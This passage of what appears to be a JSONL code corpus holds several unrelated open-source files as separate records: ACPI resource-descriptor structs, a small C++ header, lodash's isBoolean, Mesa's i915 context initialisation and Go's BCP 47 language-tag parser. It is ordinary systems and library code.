aml_resource_vendor_large {\nAML_RESOURCE_LARGE_HEADER_COMMON};\n\nstruct aml_resource_memory32 {\n\tAML_RESOURCE_LARGE_HEADER_COMMON u8 flags;\n\tu32 minimum;\n\tu32 maximum;\n\tu32 alignment;\n\tu32 address_length;\n};\n\nstruct aml_resource_fixed_memory32 {\n\tAML_RESOURCE_LARGE_HEADER_COMMON u8 flags;\n\tu32 address;\n\tu32 address_length;\n};\n\n#define AML_RESOURCE_ADDRESS_COMMON \\\n\tu8 resource_type; \\\n\tu8 flags; \\\n\tu8 specific_flags;\n\nstruct aml_resource_address {\nAML_RESOURCE_LARGE_HEADER_COMMON AML_RESOURCE_ADDRESS_COMMON};\n\nstruct aml_resource_extended_address64 {\n\tAML_RESOURCE_LARGE_HEADER_COMMON\n\t AML_RESOURCE_ADDRESS_COMMON u8 revision_iD;\n\tu8 reserved;\n\tu64 granularity;\n\tu64 minimum;\n\tu64 maximum;\n\tu64 translation_offset;\n\tu64 address_length;\n\tu64 type_specific;\n};\n\n#define AML_RESOURCE_EXTENDED_ADDRESS_REVISION 1\t/* ACPI 3.0 */\n\nstruct aml_resource_address64 {\n\tAML_RESOURCE_LARGE_HEADER_COMMON\n\t AML_RESOURCE_ADDRESS_COMMON u64 granularity;\n\tu64 minimum;\n\tu64 maximum;\n\tu64 translation_offset;\n\tu64 address_length;\n};\n\nstruct aml_resource_address32 {\n\tAML_RESOURCE_LARGE_HEADER_COMMON\n\t AML_RESOURCE_ADDRESS_COMMON u32 granularity;\n\tu32 minimum;\n\tu32 maximum;\n\tu32 translation_offset;\n\tu32 address_length;\n};\n\nstruct aml_resource_address16 {\n\tAML_RESOURCE_LARGE_HEADER_COMMON\n\t AML_RESOURCE_ADDRESS_COMMON u16 granularity;\n\tu16 minimum;\n\tu16 maximum;\n\tu16 translation_offset;\n\tu16 address_length;\n};\n\nstruct aml_resource_extended_irq {\n\tAML_RESOURCE_LARGE_HEADER_COMMON u8 flags;\n\tu8 interrupt_count;\n\tu32 interrupts[1];\n\t/* res_source_index, res_source optional fields follow */\n};\n\nstruct aml_resource_generic_register {\n\tAML_RESOURCE_LARGE_HEADER_COMMON u8 address_space_id;\n\tu8 bit_width;\n\tu8 bit_offset;\n\tu8 access_size;\t\t/* ACPI 3.0, was previously Reserved */\n\tu64 address;\n};\n\n/* restore default alignment */\n\n#pragma pack()\n\n/* Union of all resource descriptors, so we can allocate the worst case */\n\nunion aml_resource {\n\t/* Descriptor headers */\n\n\tu8 descriptor_type;\n\tstruct aml_resource_small_header small_header;\n\tstruct aml_resource_large_header large_header;\n\n\t/* Small resource descriptors */\n\n\tstruct aml_resource_irq irq;\n\tstruct aml_resource_dma dma;\n\tstruct aml_resource_start_dependent start_dpf;\n\tstruct aml_resource_end_dependent end_dpf;\n\tstruct aml_resource_io io;\n\tstruct aml_resource_fixed_io fixed_io;\n\tstruct aml_resource_vendor_small vendor_small;\n\tstruct aml_resource_end_tag end_tag;\n\n\t/* Large resource descriptors */\n\n\tstruct aml_resource_memory24 memory24;\n\tstruct aml_resource_generic_register generic_reg;\n\tstruct aml_resource_vendor_large vendor_large;\n\tstruct aml_resource_memory32 memory32;\n\tstruct aml_resource_fixed_memory32 fixed_memory32;\n\tstruct aml_resource_address16 address16;\n\tstruct aml_resource_address32 address32;\n\tstruct aml_resource_address64 address64;\n\tstruct aml_resource_extended_address64 ext_address64;\n\tstruct aml_resource_extended_irq extended_irq;\n\n\t/* Utility overlays */\n\n\tstruct aml_resource_address address;\n\tu32 dword_item;\n\tu16 word_item;\n\tu8 byte_item;\n};\n\n#endif\n"} +{"text": "/**\n * $Id$\n * Copyright (C) 2008 - 2014 Nils Asmussen\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n */\n\n#pragma once\n\n#include \n\nclass Proc : public ProcBase {\n\tfriend class ProcBase;\n\n\tProc() : ProcBase() {\n\t}\n};\n"} +{"text": "var isObjectLike = require('../internal/isObjectLike');\n\n/** `Object#toString` result references. */\nvar boolTag = '[object Boolean]';\n\n/** Used for native method references. */\nvar objectProto = Object.prototype;\n\n/**\n * Used to resolve the [`toStringTag`](http://ecma-international.org/ecma-262/6.0/#sec-object.prototype.tostring)\n * of values.\n */\nvar objToString = objectProto.toString;\n\n/**\n * Checks if `value` is classified as a boolean primitive or object.\n *\n * @static\n * @memberOf _\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is correctly classified, else `false`.\n * @example\n *\n * _.isBoolean(false);\n * // => true\n *\n * _.isBoolean(null);\n * // => false\n */\nfunction isBoolean(value) {\n return value === true || value === false || (isObjectLike(value) && objToString.call(value) == boolTag);\n}\n\nmodule.exports = isBoolean;\n"} +{"text": "/**************************************************************************\n * \n * Copyright 2003 VMware, Inc.\n * All Rights Reserved.\n * \n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n * \n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.\n * IN NO EVENT SHALL VMWARE AND/OR ITS SUPPLIERS BE LIABLE FOR\n * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n * \n **************************************************************************/\n\n#include \"i915_context.h\"\n#include \"main/api_exec.h\"\n#include \"main/framebuffer.h\"\n#include \"main/extensions.h\"\n#include \"main/imports.h\"\n#include \"main/macros.h\"\n#include \"main/version.h\"\n#include \"main/vtxfmt.h\"\n#include \"intel_chipset.h\"\n#include \"intel_tris.h\"\n#include \"tnl/t_context.h\"\n#include \"tnl/t_pipeline.h\"\n#include \"tnl/t_vertex.h\"\n\n#include \"swrast/swrast.h\"\n#include \"swrast_setup/swrast_setup.h\"\n#include \"tnl/tnl.h\"\n#include \"util/ralloc.h\"\n\n#include \"i915_reg.h\"\n#include \"i915_program.h\"\n\n/***************************************\n * Mesa's Driver Functions\n ***************************************/\n\n/* Override intel default.\n */\nstatic void\ni915InvalidateState(struct gl_context * ctx)\n{\n GLuint new_state = ctx->NewState;\n\n _swrast_InvalidateState(ctx, new_state);\n _swsetup_InvalidateState(ctx, new_state);\n _tnl_InvalidateState(ctx, new_state);\n _tnl_invalidate_vertex_state(ctx, new_state);\n intel_context(ctx)->NewGLState |= new_state;\n\n if (new_state & (_NEW_SCISSOR | _NEW_BUFFERS | _NEW_VIEWPORT))\n _mesa_update_draw_buffer_bounds(ctx, ctx->DrawBuffer);\n\n /* Todo: gather state values under which tracked parameters become\n * invalidated, add callbacks for things like\n * ProgramLocalParameters, etc.\n */\n {\n struct i915_fragment_program *p =\n (struct i915_fragment_program *) ctx->FragmentProgram._Current;\n if (p && p->nr_params)\n p->params_uptodate = 0;\n }\n\n if (new_state & (_NEW_STENCIL | _NEW_BUFFERS | _NEW_POLYGON))\n i915_update_stencil(ctx);\n if (new_state & (_NEW_LIGHT))\n i915_update_provoking_vertex(ctx);\n if (new_state & (_NEW_PROGRAM | _NEW_PROGRAM_CONSTANTS))\n i915_update_program(ctx);\n if (new_state & (_NEW_PROGRAM | _NEW_POINT))\n i915_update_sprite_point_enable(ctx);\n}\n\n\nstatic void\ni915InitDriverFunctions(struct dd_function_table *functions)\n{\n intelInitDriverFunctions(functions);\n i915InitStateFunctions(functions);\n i915InitFragProgFuncs(functions);\n functions->UpdateState = i915InvalidateState;\n}\n\n/* Note: this is shared with i830. */\nvoid\nintel_init_texture_formats(struct gl_context *ctx)\n{\n struct intel_context *intel = intel_context(ctx);\n struct intel_screen *intel_screen = intel->intelScreen;\n\n ctx->TextureFormatSupported[MESA_FORMAT_B8G8R8A8_UNORM] = true;\n if (intel_screen->deviceID != PCI_CHIP_I830_M &&\n intel_screen->deviceID != PCI_CHIP_845_G)\n ctx->TextureFormatSupported[MESA_FORMAT_B8G8R8X8_UNORM] = true;\n if (intel->gen == 3)\n ctx->TextureFormatSupported[MESA_FORMAT_B8G8R8A8_SRGB] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_B4G4R4A4_UNORM] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_B5G5R5A1_UNORM] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_B5G6R5_UNORM] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_L_UNORM8] = true;\n if (intel->gen == 3)\n ctx->TextureFormatSupported[MESA_FORMAT_A_UNORM8] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_I_UNORM8] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_L8A8_UNORM] = true;\n\n /* Depth and stencil */\n if (intel->gen == 3) {\n ctx->TextureFormatSupported[MESA_FORMAT_Z24_UNORM_S8_UINT] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_Z24_UNORM_X8_UINT] = true;\n\n /*\n * This was disabled in initial FBO enabling to avoid combinations\n * of depth+stencil that wouldn't work together. We since decided\n * that it was OK, since it's up to the app to come up with the\n * combo that actually works, so this can probably be re-enabled.\n */\n /*\n ctx->TextureFormatSupported[MESA_FORMAT_Z_UNORM16] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_Z24] = true;\n */\n }\n\n /* ctx->Extensions.MESA_ycbcr_texture */\n ctx->TextureFormatSupported[MESA_FORMAT_YCBCR] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_YCBCR_REV] = true;\n\n /* GL_3DFX_texture_compression_FXT1 */\n ctx->TextureFormatSupported[MESA_FORMAT_RGB_FXT1] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_RGBA_FXT1] = true;\n\n /* GL_EXT_texture_compression_s3tc */\n ctx->TextureFormatSupported[MESA_FORMAT_RGB_DXT1] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_RGBA_DXT1] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_RGBA_DXT3] = true;\n ctx->TextureFormatSupported[MESA_FORMAT_RGBA_DXT5] = true;\n}\n\nextern const struct tnl_pipeline_stage *intel_pipeline[];\n\nbool\ni915CreateContext(int api,\n\t\t const struct gl_config * mesaVis,\n __DRIcontext * driContextPriv,\n unsigned major_version,\n unsigned minor_version,\n uint32_t flags,\n unsigned *error,\n void *sharedContextPrivate)\n{\n struct dd_function_table functions;\n struct i915_context *i915 = rzalloc(NULL, struct i915_context);\n struct intel_context *intel = &i915->intel;\n struct gl_context *ctx = &intel->ctx;\n\n if (!i915) {\n *error = __DRI_CTX_ERROR_NO_MEMORY;\n return false;\n }\n\n i915InitVtbl(i915);\n\n i915InitDriverFunctions(&functions);\n\n if (!intelInitContext(intel, api, major_version, minor_version, flags,\n mesaVis, driContextPriv,\n sharedContextPrivate, &functions,\n error)) {\n ralloc_free(i915);\n return false;\n }\n\n intel_init_texture_formats(ctx);\n\n _math_matrix_ctr(&intel->ViewportMatrix);\n\n /* Initialize swrast, tnl driver tables: */\n intelInitTriFuncs(ctx);\n\n /* Install the customized pipeline: */\n _tnl_destroy_pipeline(ctx);\n _tnl_install_pipeline(ctx, intel_pipeline);\n\n if (intel->no_rast)\n FALLBACK(intel, INTEL_FALLBACK_USER, 1);\n\n ctx->Const.MaxTextureUnits = I915_TEX_UNITS;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxTextureImageUnits = I915_TEX_UNITS;\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxTextureImageUnits = I915_TEX_UNITS;\n ctx->Const.MaxTextureCoordUnits = I915_TEX_UNITS;\n ctx->Const.MaxVarying = I915_TEX_UNITS;\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxOutputComponents =\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxInputComponents = ctx->Const.MaxVarying * 4;\n ctx->Const.MaxCombinedTextureImageUnits =\n ctx->Const.Program[MESA_SHADER_VERTEX].MaxTextureImageUnits +\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxTextureImageUnits;\n\n /* Advertise the full hardware capabilities. The new memory\n * manager should cope much better with overload situations:\n */\n ctx->Const.MaxTextureLevels = 12;\n ctx->Const.Max3DTextureLevels = 9;\n ctx->Const.MaxCubeTextureLevels = 12;\n ctx->Const.MaxTextureRectSize = (1 << 11);\n ctx->Const.MaxTextureUnits = I915_TEX_UNITS;\n\n ctx->Const.MaxTextureMaxAnisotropy = 4.0;\n\n /* GL_ARB_fragment_program limits - don't think Mesa actually\n * validates programs against these, and in any case one ARB\n * instruction can translate to more than one HW instruction, so\n * we'll still have to check and fallback each time.\n */\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeTemps = I915_MAX_TEMPORARY;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeAttribs = 11; /* 8 tex, 2 color, fog */\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeParameters = I915_MAX_CONSTANT;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeAluInstructions = I915_MAX_ALU_INSN;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeTexInstructions = I915_MAX_TEX_INSN;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeInstructions = (I915_MAX_ALU_INSN +\n I915_MAX_TEX_INSN);\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeTexIndirections =\n I915_MAX_TEX_INDIRECT;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeAddressRegs = 0; /* I don't think we have one */\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxEnvParams =\n MIN2(ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxNativeParameters,\n\t ctx->Const.Program[MESA_SHADER_FRAGMENT].MaxEnvParams);\n\n /* i915 stores all values in single-precision floats. Values aren't set\n * for other program targets because software is used for those targets.\n */\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MediumFloat.RangeMin = 127;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MediumFloat.RangeMax = 127;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MediumFloat.Precision = 23;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].LowFloat = ctx->Const.Program[MESA_SHADER_FRAGMENT].HighFloat =\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MediumFloat;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MediumInt.RangeMin = 24;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MediumInt.RangeMax = 24;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MediumInt.Precision = 0;\n ctx->Const.Program[MESA_SHADER_FRAGMENT].LowInt = ctx->Const.Program[MESA_SHADER_FRAGMENT].HighInt =\n ctx->Const.Program[MESA_SHADER_FRAGMENT].MediumInt;\n\n ctx->FragmentProgram._MaintainTexEnvProgram = true;\n\n /* FINISHME: Are there other options that should be enabled for software\n * FINISHME: vertex shaders?\n */\n ctx->Const.ShaderCompilerOptions[MESA_SHADER_VERTEX].EmitNoIndirectSampler =\n true;\n\n struct gl_shader_compiler_options *const fs_options =\n & ctx->Const.ShaderCompilerOptions[MESA_SHADER_FRAGMENT];\n fs_options->MaxIfDepth = 0;\n fs_options->EmitNoPow = true;\n fs_options->EmitNoMainReturn = true;\n fs_options->EmitNoIndirectInput = true;\n fs_options->EmitNoIndirectOutput = true;\n fs_options->EmitNoIndirectUniform = true;\n fs_options->EmitNoIndirectTemp = true;\n fs_options->EmitNoIndirectSampler = true;\n\n ctx->Const.MaxDrawBuffers = 1;\n ctx->Const.QueryCounterBits.SamplesPassed = 0;\n\n _tnl_init_vertices(ctx, ctx->Const.MaxArrayLockSize + 12,\n 36 * sizeof(GLfloat));\n\n intel->verts = TNL_CONTEXT(ctx)->clipspace.vertex_buf;\n\n i915InitState(i915);\n\n /* Always enable pixel fog. Vertex fog using fog coord will conflict\n * with fog code appended onto fragment program.\n */\n _tnl_allow_vertex_fog(ctx, 0);\n _tnl_allow_pixel_fog(ctx, 1);\n\n _mesa_override_extensions(ctx);\n _mesa_compute_version(ctx);\n\n _mesa_initialize_dispatch_tables(ctx);\n _mesa_initialize_vbo_vtxfmt(ctx);\n\n return true;\n}\n"} +{"text": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage language\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"golang.org/x/text/internal/tag\"\n)\n\n// isAlpha returns true if the byte is not a digit.\n// b must be an ASCII letter or digit.\nfunc isAlpha(b byte) bool {\n\treturn b > '9'\n}\n\n// isAlphaNum returns true if the string contains only ASCII letters or digits.\nfunc isAlphaNum(s []byte) bool {\n\tfor _, c := range s {\n\t\tif !('a' <= c && c <= 'z' || 'A' <= c && c <= 'Z' || '0' <= c && c <= '9') {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\n// errSyntax is returned by any of the parsing functions when the\n// input is not well-formed, according to BCP 47.\n// TODO: return the position at which the syntax error occurred?\nvar errSyntax = errors.New(\"language: tag is not well-formed\")\n\n// ValueError is returned by any of the parsing functions when the\n// input is well-formed but the respective subtag is not recognized\n// as a valid value.\ntype ValueError struct {\n\tv [8]byte\n}\n\nfunc mkErrInvalid(s []byte) error {\n\tvar e ValueError\n\tcopy(e.v[:], s)\n\treturn e\n}\n\nfunc (e ValueError) tag() []byte {\n\tn := bytes.IndexByte(e.v[:], 0)\n\tif n == -1 {\n\t\tn = 8\n\t}\n\treturn e.v[:n]\n}\n\n// Error implements the error interface.\nfunc (e ValueError) Error() string {\n\treturn fmt.Sprintf(\"language: subtag %q is well-formed but unknown\", e.tag())\n}\n\n// Subtag returns the subtag for which the error occurred.\nfunc (e ValueError) Subtag() string {\n\treturn string(e.tag())\n}\n\n// scanner is used to scan BCP 47 tokens, which are separated by _ or -.\ntype scanner struct {\n\tb []byte\n\tbytes [max99thPercentileSize]byte\n\ttoken []byte\n\tstart int // start position of the current token\n\tend int // end position of the current token\n\tnext int // next point for scan\n\terr error\n\tdone bool\n}\n\nfunc makeScannerString(s string) scanner {\n\tscan := scanner{}\n\tif len(s) <= len(scan.bytes) {\n\t\tscan.b = scan.bytes[:copy(scan.bytes[:], s)]\n\t} else {\n\t\tscan.b = []byte(s)\n\t}\n\tscan.init()\n\treturn scan\n}\n\n// makeScanner returns a scanner using b as the input buffer.\n// b is not copied and may be modified by the scanner routines.\nfunc makeScanner(b []byte) scanner {\n\tscan := scanner{b: b}\n\tscan.init()\n\treturn scan\n}\n\nfunc (s *scanner) init() {\n\tfor i, c := range s.b {\n\t\tif c == '_' {\n\t\t\ts.b[i] = '-'\n\t\t}\n\t}\n\ts.scan()\n}\n\n// restToLower converts the string between start and end to lower case.\nfunc (s *scanner) toLower(start, end int) {\n\tfor i := start; i < end; i++ {\n\t\tc := s.b[i]\n\t\tif 'A' <= c && c <= 'Z' {\n\t\t\ts.b[i] += 'a' - 'A'\n\t\t}\n\t}\n}\n\nfunc (s *scanner) setError(e error) {\n\tif s.err == nil || (e == errSyntax && s.err != errSyntax) {\n\t\ts.err = e\n\t}\n}\n\n// resizeRange shrinks or grows the array at position oldStart such that\n// a new string of size newSize can fit between oldStart and oldEnd.\n// Sets the scan point to after the resized range.\nfunc (s *scanner) resizeRange(oldStart, oldEnd, newSize int) {\n\ts.start = oldStart\n\tif end := oldStart + newSize; end != oldEnd {\n\t\tdiff := end - oldEnd\n\t\tif end < cap(s.b) {\n\t\t\tb := make([]byte, len(s.b)+diff)\n\t\t\tcopy(b, s.b[:oldStart])\n\t\t\tcopy(b[end:], s.b[oldEnd:])\n\t\t\ts.b = b\n\t\t} else {\n\t\t\ts.b = append(s.b[end:], s.b[oldEnd:]...)\n\t\t}\n\t\ts.next = end + (s.next - s.end)\n\t\ts.end = end\n\t}\n}\n\n// replace replaces the current token with repl.\nfunc (s *scanner) replace(repl string) {\n\ts.resizeRange(s.start, s.end, len(repl))\n\tcopy(s.b[s.start:], repl)\n}\n\n// gobble removes the current token from the input.\n// Caller must call scan after calling gobble.\nfunc (s *scanner) gobble(e error) {\n\ts.setError(e)\n\tif s.start == 0 {\n\t\ts.b = s.b[:+copy(s.b, s.b[s.next:])]\n\t\ts.end = 0\n\t} else {\n\t\ts.b = s.b[:s.start-1+copy(s.b[s.start-1:], s.b[s.end:])]\n\t\ts.end = s.start - 1\n\t}\n\ts.next = s.start\n}\n\n// deleteRange removes the given range from s.b before the current token.\nfunc (s *scanner) deleteRange(start, end int) {\n\ts.setError(errSyntax)\n\ts.b = s.b[:start+copy(s.b[start:], s.b[end:])]\n\tdiff := end - start\n\ts.next -= diff\n\ts.start -= diff\n\ts.end -= diff\n}\n\n// scan parses the next token of a BCP 47 string. Tokens that are larger\n// than 8 characters or include non-alphanumeric characters result in an error\n// and are gobbled and removed from the output.\n// It returns the end position of the last token consumed.\nfunc (s *scanner) scan() (end int) {\n\tend = s.end\n\ts.token = nil\n\tfor s.start = s.next; s.next < len(s.b); {\n\t\ti := bytes.IndexByte(s.b[s.next:], '-')\n\t\tif i == -1 {\n\t\t\ts.end = len(s.b)\n\t\t\ts.next = len(s.b)\n\t\t\ti = s.end - s.start\n\t\t} else {\n\t\t\ts.end = s.next + i\n\t\t\ts.next = s.end + 1\n\t\t}\n\t\ttoken := s.b[s.start:s.end]\n\t\tif i < 1 || i > 8 || !isAlphaNum(token) {\n\t\t\ts.gobble(errSyntax)\n\t\t\tcontinue\n\t\t}\n\t\ts.token = token\n\t\treturn end\n\t}\n\tif n := len(s.b); n > 0 && s.b[n-1] == '-' {\n\t\ts.setError(errSyntax)\n\t\ts.b = s.b[:len(s.b)-1]\n\t}\n\ts.done = true\n\treturn end\n}\n\n// acceptMinSize parses multiple tokens of the given size or greater.\n// It returns the end position of the last token consumed.\nfunc (s *scanner) acceptMinSize(min int) (end int) {\n\tend = s.end\n\ts.scan()\n\tfor ; len(s.token) >= min; s.scan() {\n\t\tend = s.end\n\t}\n\treturn end\n}\n\n// Parse parses the given BCP 47 string and returns a valid Tag. If parsing\n// failed it returns an error and any part of the tag that could be parsed.\n// If parsing succeeded but an unknown value was found, it returns\n// ValueError. The Tag returned in this case is just stripped of the unknown\n// value. All other values are preserved. It accepts tags in the BCP 47 format\n// and extensions to this standard defined in\n// http://www.unicode.org/reports/tr35/#Unicode_Language_and_Locale_Identifiers.\n// The resulting tag is canonicalized using the default canonicalization type.\nfunc Parse(s string) (t Tag, err error) {\n\treturn Default.Parse(s)\n}\n\n// Parse parses the given BCP 47 string and returns a valid Tag. If parsing\n// failed it returns an error and any part of the tag that could be parsed.\n// If parsing succeeded but an unknown value was found, it returns\n// ValueError. The Tag returned in this case is just stripped of the unknown\n// value. All other values are preserved. It accepts tags in the BCP 47 format\n// and extensions to this standard defined in\n// http://www.unicode.org/reports/tr35/#Unicode_Language_and_Locale_Identifiers.\n// The resulting tag is canonicalized using the the canonicalization type c.\nfunc (c CanonType) Parse(s string) (t Tag, err error) {\n\t// TODO: consider supporting old-style locale key-value pairs.\n\tif s == \"\" {\n\t\treturn und, errSyntax\n\t}\n\tif len(s) <= maxAltTaglen {\n\t\tb := [maxAltTaglen]byte{}\n\t\tfor i, c := range s {\n\t\t\t// Generating invalid UTF-8 is okay as it won't match.\n\t\t\tif 'A' <= c && c <= 'Z' {\n\t\t\t\tc += 'a' - 'A'\n\t\t\t} else if c == '_' {\n\t\t\t\tc = '-'\n\t\t\t}\n\t\t\tb[i] = byte(c)\n\t\t}\n\t\tif t, ok := grandfathered(b); ok {\n\t\t\treturn t, nil\n\t\t}\n\t}\n\tscan := makeScannerString(s)\n\tt, err = parse(&scan, s)\n\tt, changed := t.canonicalize(c)\n\tif changed {\n\t\tt.remakeString()\n\t}\n\treturn t, err\n}\n\nfunc parse(scan *scanner, s string) (t Tag, err error) {\n\tt = und\n\tvar end int\n\tif n := len(scan.token); n <= 1 {\n\t\tscan.toLower(0, len(scan.b))\n\t\tif n == 0 || scan.token[0] != 'x' {\n\t\t\treturn t, errSyntax\n\t\t}\n\t\tend = parseExtensions(scan)\n\t} else if n >= 4 {\n\t\treturn und, errSyntax\n\t} else { // the usual case\n\t\tt, end = parseTag(scan)\n\t\tif n := len(scan.token); n == 1 {\n\t\t\tt.pExt = uint16(end)\n\t\t\tend = parseExtensions(scan)\n\t\t} else if end < len(scan.b) {\n\t\t\tscan.setError(errSyntax)\n\t\t\tscan.b = scan.b[:end]\n\t\t}\n\t}\n\tif int(t.pVariant) < len(scan.b) {\n\t\tif end < len(s) {\n\t\t\ts = s[:end]\n\t\t}\n\t\tif len(s) > 0 && tag.Compare(s, scan.b) == 0 {\n\t\t\tt.str = s\n\t\t} else {\n\t\t\tt.str = string(scan.b)\n\t\t}\n\t} else {\n\t\tt.pVariant, t.pExt = 0, 0\n\t}\n\treturn t, scan.err\n}\n\n// parseTag parses language, script, region and variants.\n// It returns a Tag and the end position in the input that was parsed.\nfunc parseTag(scan *scanner) (t Tag, end int) {\n\tvar e error\n\t// TODO: set an error if an unknown lang, script or region is encountered.\n\tt.lang, e = getLangID(scan.token)\n\tscan.setError(e)\n\tscan.replace(t.lang.String())\n\tlangStart := scan.start\n\tend = scan.scan()\n\tfor len(scan.token) == 3 && isAlpha(scan.token[0]) {\n\t\t// From http://tools.ietf.org/html/bcp47, - tags are equivalent\n\t\t// to a tag of the form .\n\t\tlang, e := getLangID(scan.token)\n\t\tif lang != 0 {\n\t\t\tt.lang = lang\n\t\t\tcopy(scan.b[langStart:], lang.String())\n\t\t\tscan.b[langStart+3] = '-'\n\t\t\tscan.start = langStart + 4\n\t\t}\n\t\tscan.gobble(e)\n\t\tend = scan.scan()\n\t}\n\tif len(scan.token) == 4 && isAlpha(scan.token[0]) {\n\t\tt.script, e = getScriptID(script, scan.token)\n\t\tif t.script == 0 {\n\t\t\tscan.gobble(e)\n\t\t}\n\t\tend = scan.scan()\n\t}\n\tif n := len(scan.token); n >= 2 && n <= 3 {\n\t\tt.region, e = getRegionID(scan.token)\n\t\tif t.region == 0 {\n\t\t\tscan.gobble(e)\n\t\t} else {\n\t\t\tscan.replace(t.region.String())\n\t\t}\n\t\tend = scan.scan()\n\t}\n\tscan.toLower(scan.start, len(scan.b))\n\tt.pVariant = byte(end)\n\tend = parseVariants(scan, end, t)\n\tt.pExt = uint16(end)\n\treturn t, end\n}\n\nvar separator = []byte{'-'}\n\n// parseVariants scans tokens as long as each token is a valid variant string.\n// Duplicate variants are removed.\nfunc parseVariants(scan *scanner, end int, t Tag) int {\n\tstart := scan.start\n\tvarIDBuf := [4]uint8{}\n\tvariantBuf := [4][]byte{}\n\tvarID := varIDBuf[:0]\n\tvariant := variantBuf[:0]\n\tlast := -1\n\tneedSort := false\n\tfor ; len(scan.token) >= 4; scan.scan() {\n\t\t// TODO: measure the impact of needing this conversion and redesign\n\t\t// the data structure if there is an issue.\n\t\tv, ok := variantIndex[string(scan.token)]\n\t\tif !ok {\n\t\t\t// unknown variant\n\t\t\t// TODO: allow user-defined variants?\n\t\t\tscan.gobble(mkErrInvalid(scan.token))\n\t\t\tcontinue\n\t\t}\n\t\tvarID = append(varID, v)\n\t\tvariant = append(variant, scan.token)\n\t\tif !needSort {\n\t\t\tif last < int(v) {\n\t\t\t\tlast = int(v)\n\t\t\t} else {\n\t\t\t\tneedSort = true\n\t\t\t\t// There is no legal combinations of more than 7 variants\n\t\t\t\t// (and this is by no means a useful sequence).\n\t\t\t\tconst maxVariants = 8\n\t\t\t\tif len(varID) > maxVariants {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tend = scan.end\n\t}\n\tif needSort {\n\t\tsort.Sort(variantsSort{varID, variant})\n\t\tk, l := 0, -1\n\t\tfor i, v := range varID {\n\t\t\tw := int(v)\n\t\t\tif l == w {\n\t\t\t\t// Remove duplicates.\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvarID[k] = varID[i]\n\t\t\tvariant[k] = variant[i]\n\t\t\tk++\n\t\t\tl = w\n\t\t}\n\t\tif str := bytes.Join(variant[:k], separator); len(str) == 0 {\n\t\t\tend = start - 1\n\t\t} else {\n\t\t\tscan.resizeRange(start, end, len(str))\n\t\t\tcopy(scan.b[scan.start:], str)\n\t\t\tend = scan.end\n\t\t}\n\t}\n\treturn end\n}\n\ntype variantsSort struct {\n\ti []uint8\n\tv [][]byte\n}\n\nfunc (s variantsSort) Len() int {\n\treturn len(s.i)\n}\n\nfunc (s variantsSort) Swap(i, j int) {\n\ts.i[i], s.i[j] = s.i[j], s.i[i]\n\ts.v[i], s.v[j] = s.v[j], s.v[i]\n}\n\nfunc (s variantsSort) Less(i, j int) bool 